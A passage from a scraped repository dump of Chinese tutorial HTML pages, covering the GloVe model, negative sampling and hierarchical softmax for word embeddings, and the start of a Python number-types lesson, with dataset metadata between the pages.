x_{ij}$。因此,任意词的中心词向量和背景词向量在GloVe模型中是等价的。但由于初始化值的不同,同一个词最终学习到的两组词向量可能不同。当学习得到所有词向量以后,GloVe模型使用中心词向量与背景词向量之和作为该词的最终词向量。</p>\n<h2>10.5.2 从条件概率比值理解GloVe模型</h2>\n<p>我们还可以从另外一个角度来理解GloVe模型。沿用本节前面的符号,$P(w_j \\mid w_i)$表示数据集中以$w_i$为中心词生成背景词$w_j$的条件概率,并记作$p_{ij}$。作为源于某大型语料库的真实例子,以下列举了两组分别以“ice”(冰)和“steam”(蒸汽)为中心词的条件概率以及它们之间的比值 [1]:</p>\n<table>\n<thead>\n<tr>\n<th align=\"right\">$w_k$=</th>\n<th align=\"center\">“solid”</th>\n<th align=\"center\">“gas”</th>\n<th align=\"center\">“water”</th>\n<th align=\"center\">“fashion”</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"right\">$p_1=P(w_k\\mid$ “ice” $)$</td>\n<td align=\"center\">0.00019</td>\n<td align=\"center\">0.000066</td>\n<td align=\"center\">0.003</td>\n<td align=\"center\">0.000017</td>\n</tr>\n<tr>\n<td align=\"right\">$p_2=P(w_k\\mid$ “steam” $)$</td>\n<td align=\"center\">0.000022</td>\n<td align=\"center\">0.00078</td>\n<td align=\"center\">0.0022</td>\n<td align=\"center\">0.000018</td>\n</tr>\n<tr>\n<td align=\"right\">$p_1/p_2$</td>\n<td align=\"center\">8.9</td>\n<td align=\"center\">0.085</td>\n<td align=\"center\">1.36</td>\n<td align=\"center\">0.96</td>\n</tr>\n</tbody>\n</table>\n<p>我们可以观察到以下现象。</p>\n<ul>\n<li>对于与“ice”相关而与“steam”不相关的词$w_k$,如$w_k=$“solid”(固体),我们期望条件概率比值较大,如上表最后一行中的值8.9;</li>\n<li>对于与“ice”不相关而与“steam”相关的词$w_k$,如$w_k=$“gas”(气体),我们期望条件概率比值较小,如上表最后一行中的值0.085;</li>\n<li>对于与“ice”和“steam”都相关的词$w_k$,如$w_k=$“water”(水),我们期望条件概率比值接近1,如上表最后一行中的值1.36;</li>\n<li>对于与“ice”和“steam”都不相关的词$w_k$,如$w_k=$“fashion”(时尚),我们期望条件概率比值接近1,如上表最后一行中的值0.96。</li>\n</ul>\n<p>由此可见,条件概率比值能比较直观地表达词与词之间的关系。我们可以构造一个词向量函数使它能有效拟合条件概率比值。我们知道,任意一个这样的比值需要3个词$w_i$、$w_j$和$w_k$。以$w_i$作为中心词的条件概率比值为${p_{ij}}/{p_{ik}}$。我们可以找一个函数,它使用词向量来拟合这个条件概率比值</p>\n<p>$$\nf(\\boldsymbol{u}<em>j, \\boldsymbol{u}_k, {\\boldsymbol{v}}_i) \\approx \\frac{p</em>{ij}}{p_{ik}}.\n$$</p>\n<p>这里函数$f$可能的设计并不唯一,我们只需考虑一种较为合理的可能性。注意到条件概率比值是一个标量,我们可以将$f$限制为一个标量函数:$f(\\boldsymbol{u}_j, \\boldsymbol{u}_k, {\\boldsymbol{v}}_i) = f\\left((\\boldsymbol{u}_j - \\boldsymbol{u}_k)^\\top {\\boldsymbol{v}}_i\\right)$。交换索引$j$和$k$后可以看到函数$f$应该满足$f(x)f(-x)=1$,因此一种可能是$f(x)=\\exp(x)$,于是</p>\n<p>$$f\n(\\boldsymbol{u}<em>j, \\boldsymbol{u}_k, {\\boldsymbol{v}}_i) = \\frac{\\exp\\left(\\boldsymbol{u}_j^\\top {\\boldsymbol{v}}_i\\right)}{\\exp\\left(\\boldsymbol{u}_k^\\top {\\boldsymbol{v}}_i\\right)} \\approx \\frac{p</em>{ij}}{p_{ik}}.\n$$</p>\n<p>满足最右边约等号的一种可能是$\\exp\\left(\\boldsymbol{u}<em>j^\\top {\\boldsymbol{v}}_i\\right) \\approx \\alpha p</em>{ij}$,这里$\\alpha$是一个常数。考虑到$p_{ij}=x_{ij}/x_i$,取对数后$\\boldsymbol{u}<em>j^\\top {\\boldsymbol{v}}_i \\approx \\log\\,\\alpha + \\log\\,x</em>{ij} - \\log\\,x_i$。我们使用额外的偏差项来拟合$- \\log\\,\\alpha + \\log\\,x_i$,例如,中心词偏差项$b_i$和背景词偏差项$c_j$:</p>\n<p>$$\n\\boldsymbol{u}<em>j^\\top \\boldsymbol{v}_i + b_i + c_j \\approx \\log(x</em>{ij}).\n$$</p>\n<p>对上式左右两边取平方误差并加权,我们可以得到GloVe模型的损失函数。</p>\n<h2>小结</h2>\n<ul>\n<li>在有些情况下,交叉熵损失函数有劣势。GloVe模型采用了平方损失,并通过词向量拟合预先基于整个数据集计算得到的全局统计信息。</li>\n<li>任意词的中心词向量和背景词向量在GloVe模型中是等价的。</li>\n</ul>\n<h2>参考文献</h2>\n<p>[1] Pennington, J., Socher, R., &amp; Manning, C. (2014). Glove: Global vectors for word representation. In Proceedings of the 2014 conference on empirical methods in natural language processing (EMNLP) (pp. 1532-1543).</p>\n<hr />\n<blockquote>\n<p>注:本节与原书完全相同,<a href=\"https://zh.d2l.ai/chapter_natural-language-processing/glove.html\">原书传送门</a></p>\n</blockquote>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.5704801678657532, "alphanum_fraction": 0.5858921408653259, "avg_line_length": 46.39325714111328, "blob_id": "e4ffd94a23174d11edbbf7ac591fb70000e1d2e5", "content_id": "171870fe54cf68f92e54b1443e1cfb31ab4d694d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 11075, "license_type": "no_license", "max_line_length": 297, "num_lines": 178, "path": "/d2l-mxnet/chapter_natural-language-processing/approx-training.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>近似训练 - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n \n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>近似训练</h1>\n<p>回忆上一节的内容。跳字模型的核心在于使用softmax运算得到给定中心词$w_c$来生成背景词$w_o$的条件概率</p>\n<p>$$P(w_o \\mid w_c) = \\frac{\\text{exp}(\\boldsymbol{u}<em>o^\\top \\boldsymbol{v}_c)}{ \\sum</em>{i \\in \\mathcal{V}} \\text{exp}(\\boldsymbol{u}_i^\\top \\boldsymbol{v}_c)}.$$</p>\n<p>该条件概率相应的对数损失</p>\n<p>$$-\\log P(w_o \\mid w_c) =\n-\\boldsymbol{u}<em>o^\\top \\boldsymbol{v}_c + \\log\\left(\\sum</em>{i \\in \\mathcal{V}} \\text{exp}(\\boldsymbol{u}_i^\\top \\boldsymbol{v}_c)\\right).$$</p>\n<p>由于softmax运算考虑了背景词可能是词典$\\mathcal{V}$中的任一词,以上损失包含了词典大小数目的项的累加。在上一节中我们看到,不论是跳字模型还是连续词袋模型,由于条件概率使用了softmax运算,每一步的梯度计算都包含词典大小数目的项的累加。对于含几十万或上百万词的较大词典,每次的梯度计算开销可能过大。为了降低该计算复杂度,本节将介绍两种近似训练方法,即负采样(negative sampling)或层序softmax(hierarchical softmax)。由于跳字模型和连续词袋模型类似,本节仅以跳字模型为例介绍这两种方法。</p>\n<h2>负采样</h2>\n<p>负采样修改了原来的目标函数。给定中心词$w_c$的一个背景窗口,我们把背景词$w_o$出现在该背景窗口看作一个事件,并将该事件的概率计算为</p>\n<p>$$P(D=1\\mid w_c, w_o) = \\sigma(\\boldsymbol{u}_o^\\top \\boldsymbol{v}_c),$$</p>\n<p>其中的$\\sigma$函数与sigmoid激活函数的定义相同:</p>\n<p>$$\\sigma(x) = \\frac{1}{1+\\exp(-x)}.$$</p>\n<p>我们先考虑最大化文本序列中所有该事件的联合概率来训练词向量。具体来说,给定一个长度为$T$的文本序列,设时间步$t$的词为$w^{(t)}$且背景窗口大小为$m$,考虑最大化联合概率</p>\n<p>$$ \\prod_{t=1}^{T} \\prod_{-m \\leq j \\leq m,\\ j \\neq 0} P(D=1\\mid w^{(t)}, w^{(t+j)}).$$</p>\n<p>然而,以上模型中包含的事件仅考虑了正类样本。这导致当所有词向量相等且值为无穷大时,以上的联合概率才被最大化为1。很明显,这样的词向量毫无意义。负采样通过采样并添加负类样本使目标函数更有意义。设背景词$w_o$出现在中心词$w_c$的一个背景窗口为事件$P$,我们根据分布$P(w)$采样$K$个未出现在该背景窗口中的词,即噪声词。设噪声词$w_k$($k=1, \\ldots, K$)不出现在中心词$w_c$的该背景窗口为事件$N_k$。假设同时含有正类样本和负类样本的事件$P, N_1, \\ldots, N_K$相互独立,负采样将以上需要最大化的仅考虑正类样本的联合概率改写为</p>\n<p>$$ \\prod_{t=1}^{T} \\prod_{-m \\leq j \\leq m,\\ j \\neq 0} P(w^{(t+j)} \\mid w^{(t)}),$$</p>\n<p>其中条件概率被近似表示为\n$$ P(w^{(t+j)} \\mid w^{(t)}) =P(D=1\\mid w^{(t)}, w^{(t+j)})\\prod_{k=1,\\ w_k \\sim P(w)}^K P(D=0\\mid w^{(t)}, w_k).$$</p>\n<p>设文本序列中时间步$t$的词$w^{(t)}$在词典中的索引为$i_t$,噪声词$w_k$在词典中的索引为$h_k$。有关以上条件概率的对数损失为</p>\n<p>$$\n\\begin{aligned}\n-\\log P(w^{(t+j)} \\mid w^{(t)})\n=&amp; -\\log P(D=1\\mid w^{(t)}, w^{(t+j)}) - \\sum_{k=1,\\ w_k \\sim P(w)}^K \\log P(D=0\\mid w^{(t)}, w_k)\\\n=&amp;- \\log\\, \\sigma\\left(\\boldsymbol{u}<em>{i</em>{t+j}}^\\top \\boldsymbol{v}<em>{i_t}\\right) - \\sum</em>{k=1,\\ w_k \\sim P(w)}^K \\log\\left(1-\\sigma\\left(\\boldsymbol{u}<em>{h_k}^\\top \\boldsymbol{v}</em>{i_t}\\right)\\right)\\\n=&amp;- \\log\\, \\sigma\\left(\\boldsymbol{u}<em>{i</em>{t+j}}^\\top \\boldsymbol{v}<em>{i_t}\\right) - \\sum</em>{k=1,\\ w_k \\sim P(w)}^K \\log\\sigma\\left(-\\boldsymbol{u}<em>{h_k}^\\top \\boldsymbol{v}</em>{i_t}\\right).\n\\end{aligned}\n$$</p>\n<p>现在,训练中每一步的梯度计算开销不再与词典大小相关,而与$K$线性相关。当$K$取较小的常数时,负采样在每一步的梯度计算开销较小。</p>\n<h2>层序softmax</h2>\n<p>层序softmax是另一种近似训练法。它使用了二叉树这一数据结构,树的每个叶结点代表词典$\\mathcal{V}$中的每个词。</p>\n<p><img alt=\"层序softmax。二叉树的每个叶结点代表着词典的每个词\" src=\"../img/hi-softmax.svg\" /></p>\n<p>假设$L(w)$为从二叉树的根结点到词$w$的叶结点的路径(包括根结点和叶结点)上的结点数。设$n(w,j)$为该路径上第$j$个结点,并设该结点的背景词向量为$\\boldsymbol{u}_{n(w,j)}$。以图10.3为例,$L(w_3) = 4$。层序softmax将跳字模型中的条件概率近似表示为</p>\n<p>$$P(w_o \\mid w_c) = \\prod_{j=1}^{L(w_o)-1} \\sigma\\left( [![ n(w_o, j+1) = \\text{leftChild}(n(w_o,j)) ]!] \\cdot \\boldsymbol{u}_{n(w_o,j)}^\\top \\boldsymbol{v}_c\\right),$$</p>\n<p>其中$\\sigma$函数与<a href=\"../chapter_deep-learning-basics/mlp.html\">“多层感知机”</a>一节中sigmoid激活函数的定义相同,$\\text{leftChild}(n)$是结点$n$的左子结点:如果判断$x$为真,$[![x]!] = 1$;反之$[![x]!] = -1$。\n让我们计算图10.3中给定词$w_c$生成词$w_3$的条件概率。我们需要将$w_c$的词向量$\\boldsymbol{v}_c$和根结点到$w_3$路径上的非叶结点向量一一求内积。由于在二叉树中由根结点到叶结点$w_3$的路径上需要向左、向右再向左地遍历(图10.3中加粗的路径),我们得到</p>\n<p>$$P(w_3 \\mid w_c) = \\sigma(\\boldsymbol{u}<em>{n(w_3,1)}^\\top \\boldsymbol{v}_c) \\cdot \\sigma(-\\boldsymbol{u}</em>{n(w_3,2)}^\\top \\boldsymbol{v}<em>c) \\cdot \\sigma(\\boldsymbol{u}</em>{n(w_3,3)}^\\top \\boldsymbol{v}_c).$$</p>\n<p>由于$\\sigma(x)+\\sigma(-x) = 1$,给定中心词$w_c$生成词典$\\mathcal{V}$中任一词的条件概率之和为1这一条件也将满足:</p>\n<p>$$\\sum_{w \\in \\mathcal{V}} P(w \\mid w_c) = 1.$$</p>\n<p>此外,由于$L(w_o)-1$的数量级为$\\mathcal{O}(\\text{log}_2|\\mathcal{V}|)$,当词典$\\mathcal{V}$很大时,层序softmax在训练中每一步的梯度计算开销相较未使用近似训练时大幅降低。</p>\n<h2>小结</h2>\n<ul>\n<li>负采样通过考虑同时含有正类样本和负类样本的相互独立事件来构造损失函数。其训练中每一步的梯度计算开销与采样的噪声词的个数线性相关。</li>\n<li>层序softmax使用了二叉树,并根据根结点到叶结点的路径来构造损失函数。其训练中每一步的梯度计算开销与词典大小的对数相关。</li>\n</ul>\n<h2>练习</h2>\n<ul>\n<li>在阅读下一节之前,你觉得在负采样中应如何采样噪声词?</li>\n<li>本节中最后一个公式为什么成立?</li>\n<li>如何将负采样或层序softmax用于训练连续词袋模型?</li>\n</ul>\n<h2>扫码直达<a href=\"https://discuss.gluon.ai/t/topic/8135\">讨论区</a></h2>\n<p><img alt=\"\" src=\"../img/qr_word2vec-approx-train.svg\" /></p>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.570232629776001, "alphanum_fraction": 0.5966809988021851, "avg_line_length": 27.064449310302734, "blob_id": "9be1a615a28d9bab13422ad656bc6a5917240ef0", "content_id": "8931f808670136570ccf31548037a8bf834fbcf8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 16847, "license_type": "no_license", "max_line_length": 198, "num_lines": 481, "path": "/python/number.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>Python3 数据类型-数字(number) - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n <li><a href=\"./index.html\"> 如何学习本课程 </a></li>\n<li><a href=\"./intro.html\"> Python 简介 </a></li>\n<li><a href=\"./setup.html\"> Pyhon3 环境搭建及运行 </a></li>\n<li><a href=\"./syntax.html\"> Python 基础语法 </a></li>\n<li><a href=\"./operator.html\"> Python3 运算符 </a></li>\n<li><a href=\"./datatype.html\"> Python3 基本数据类型 </a></li>\n<li><a href=\"./string.html\"> Python3 基本数据类型-字符串 </a></li>\n<li><a href=\"./number.html\"> Python3 基本数据类型-数字 </a></li>\n<li><a href=\"./list.html\"> Python3 基本数据类型-列表 </a></li>\n<li><a href=\"./tuple.html\"> Python3 基本数据类型-元组 </a></li>\n<li><a href=\"./dict.html\"> Python3 基本数据类型-字典 </a></li>\n<li><a href=\"./set.html\"> Python3 基本数据类型-集合 </a></li>\n<li><a href=\"./datastructure.html\"> Python3 数据结构 </a></li>\n<li><a href=\"./logic.html\"> Python3 逻辑判断 </a></li>\n<li><a href=\"./loop.html\"> Python3 循环语句 </a></li>\n<li><a href=\"./iterator-generator.html\"> Python3 迭代器与生成器 </a></li>\n<li><a href=\"./function.html\"> Python3 函数 </a></li>\n<li><a href=\"./errors-execptions.html\"> Python3 错误和异常 </a></li>\n<li><a href=\"./class.html\"> Python3 面向对象 </a></li>\n<li><a href=\"./namespace-scope.html\"> Python3 命名空间和作用域 </a></li>\n<li><a href=\"./package.html\"> Python3 模块 </a></li>\n<li><a href=\"./stdlib.html\"> Python3 标准库 </a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>Python3 数据类型-数字(number)</h1>\n<p>Python 数字数据类型用于存储数值。</p>\n<p>数据类型是不允许改变的,这就意味着如果改变数字数据类型的值,将重新分配内存空间。</p>\n<p>以下实例在变量赋值时 Number 对象将被创建:</p>\n<pre><code class=\"Python\">var1 = 1\nvar2 = 10\nvar1+var2\n</code></pre>\n\n<p>您也可以使用del语句删除一些数字对象的引用。</p>\n<p>del语句的语法是:<code>del var1[,var2[,var3[....,varN]]]</code></p>\n<p>您可以通过使用del语句删除单个或多个对象的引用,例如:<code>del var</code>,或<code>del var_a, var_b</code></p>\n<p>Python 支持三种不同的数值类型:</p>\n<ul>\n<li><strong>整型(Int)</strong> - 通常被称为是整型或整数,是正或负整数,不带小数点。Python3 整型是没有限制大小的,可以当作 Long 类型使用,所以 Python3 没有 Python2 的 Long 类型。</li>\n<li><strong>浮点型(float)</strong> - 浮点型由整数部分与小数部分组成,浮点型也可以使用科学计数法表示(2.5e2 = 2.5 x 102 = 250)</li>\n<li><strong>复数( (complex))</strong> - 复数由实数部分和虚数部分构成,可以用a + bj,或者complex(a,b)表示, 复数的实部a和虚部b都是浮点型。</li>\n</ul>\n<h4>练习:使用十六进制和八进制来代表整数:</h4>\n<pre><code class=\"Python\">number = 0xA0FF # 十六进制\nprint(number)\n\nnumber = 0b0101011 # 二进制\nprint(number)\n\nnumber = 0o16 # 八进制\nprint(number)\n</code></pre>\n\n<table>\n<thead>\n<tr>\n<th align=\"left\">int</th>\n<th align=\"left\">float</th>\n<th align=\"left\">complex</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\">10</td>\n<td align=\"left\">0.0</td>\n<td align=\"left\">3.14j</td>\n</tr>\n<tr>\n<td align=\"left\">100</td>\n<td align=\"left\">15.20</td>\n<td align=\"left\">45.j</td>\n</tr>\n<tr>\n<td align=\"left\">-786</td>\n<td align=\"left\">-21.9</td>\n<td align=\"left\">9.322e-36j</td>\n</tr>\n<tr>\n<td align=\"left\">080</td>\n<td align=\"left\">32.3e+18</td>\n<td align=\"left\">.876j</td>\n</tr>\n<tr>\n<td align=\"left\">-0490</td>\n<td align=\"left\">-90.</td>\n<td align=\"left\">-.6545+0J</td>\n</tr>\n<tr>\n<td align=\"left\">-0x260</td>\n<td align=\"left\">-32.54e100</td>\n<td align=\"left\">3e+26J</td>\n</tr>\n<tr>\n<td align=\"left\">0x69</td>\n<td align=\"left\">70.2E-12</td>\n<td align=\"left\">4.53e-7j</td>\n</tr>\n</tbody>\n</table>\n<ul>\n<li>Python支持复数,复数由实数部分和虚数部分构成,可以用<code>a + bj</code>,或者<code>complex(a,b)</code>表示, 复数的实部<code>a</code>和虚部<code>b</code>都是浮点型。</li>\n</ul>\n<h2>Python 数字类型转换</h2>\n<p>有时候,我们需要对数据内置的类型进行转换,数据类型的转换,你只需要将数据类型作为函数名即可。</p>\n<ul>\n<li><code>int(x)</code> 将x转换为一个整数。</li>\n<li><code>float(x)</code>将x转换到一个浮点数。</li>\n<li><code>complex(x)</code> 将x转换到一个复数,实数部分为 x,虚数部分为 0。</li>\n<li><code>complex(x, y)</code> 将 x 和 y 转换到一个复数,实数部分为 x,虚数部分为 y。x 和 y 是数字表达式。</li>\n</ul>\n<h4>练习:将浮点数变量 a 转换为整数</h4>\n<pre><code class=\"Python\">a = 1.0\nint(a)\na\n</code></pre>\n\n<h2>Python 数字运算</h2>\n<p>Python 解释器可以作为一个简单的计算器,您可以在解释器里输入一个表达式,它将输出表达式的值。</p>\n<p>表达式的语法很直白: <code>+</code>, <code>-</code>, <code>*</code> 和 <code>/</code>, 和其它语言(如Pascal或C)里一样。</p>\n<h4>练习:Python数字运算</h4>\n<pre><code class=\"Python\">print(2 + 2)\n\nprint(50 - 5*6)\n\nprint((50 - 5*6) / 4)\n\nprint(8 / 5) # 总是返回一个浮点数\n</code></pre>\n\n<p><strong>注意:</strong>在不同的机器上浮点运算的结果可能会不一样。</p>\n<p>在整数除法中,除法<code>/</code>总是返回一个浮点数,如果只想得到整数的结果,丢弃可能的分数部分,可以使用运算符 <code>//</code> :</p>\n<pre><code class=\"Python\">print(17 / 3) # 整数除法返回浮点型\n\nprint(17 // 3) # 整数除法返回向下取整后的结果\n\nprint(17 % 3) # %操作符返回除法的余数\n\nprint(5 * 3 + 2)\n</code></pre>\n\n<p><strong>注意:<code>//</code>得到的并不一定是整数类型的数,它与分母分子的数据类型有关系。</strong></p>\n<pre><code class=\"Python\">print(7//2)\n\nprint(7.0//2)\n\nprint(7//2.0)\n</code></pre>\n\n<p>等号<code>=</code>用于给变量赋值。赋值之后,除了下一个提示符,解释器不会显示任何结果。</p>\n<pre><code class=\"Python\">width = 20\nheight = 5*9\nwidth * height\n</code></pre>\n\n<p>Python 可以使用 <code>**</code> 操作来进行幂运算:</p>\n<pre><code class=\"Python\">5 ** 2 # 5 的平方\n\n2 ** 7 # 2的7次方\n</code></pre>\n\n<p>变量在使用前必须先\"定义\"(即赋予变量一个值),否则会出现错误:</p>\n<pre><code class=\"Python\">n # 尝试访问一个未定义的变量\n</code></pre>\n\n<p>不同类型的数混合运算时会将整数转换为浮点数:</p>\n<pre><code class=\"Python\">3 * 3.75 / 1.5\n</code></pre>\n\n<h4>练习: 交互模式下的<code>_</code></h4>\n<p>在交互模式中,最后被输出的表达式结果被赋值给变量<code>_</code> 。例如:</p>\n<pre><code class=\"Python\">tax = 12.5 / 100\nprice = 100.50\nprint(price * tax)\nprint('_:',_)#注意此时的_的类型为str,不能直接与数字进行运算\nprint(price + float(_))\n</code></pre>\n\n<p>此处,<code>_</code> 变量应被用户视为只读变量,且类型为<code>str</code></p>\n<h2>数学函数</h2>\n<table>\n<thead>\n<tr>\n<th align=\"left\">函数</th>\n<th align=\"left\">返回值 ( 描述 )</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\"><code>abs(x)</code></td>\n<td align=\"left\"></td>\n</tr>\n<tr>\n<td align=\"left\"><code>ceil(x)</code></td>\n<td align=\"left\">返回数字的上入整数,如<code>math.ceil(4.1)</code> 返回 5</td>\n</tr>\n<tr>\n<td align=\"left\"><code>cmp(x, y)</code></td>\n<td align=\"left\">如果 x &lt; y 返回 -1, 如果 x == y 返回 0, 如果 x &gt; y 返回 1。 <strong>Python 3 已废弃,使用 (x&gt;y)-(x&lt;y) 替换</strong>。</td>\n</tr>\n<tr>\n<td align=\"left\"><code>exp(x)</code></td>\n<td align=\"left\">返回e的x次幂(ex),如math.exp(1) 返回2.718281828459045</td>\n</tr>\n<tr>\n<td align=\"left\"><code>fabs(x)</code></td>\n<td align=\"left\">返回数字的绝对值,如math.fabs(-10) 返回10.0</td>\n</tr>\n<tr>\n<td align=\"left\"><code>floor(x)</code></td>\n<td align=\"left\">返回数字的下舍整数,如math.floor(4.9)返回 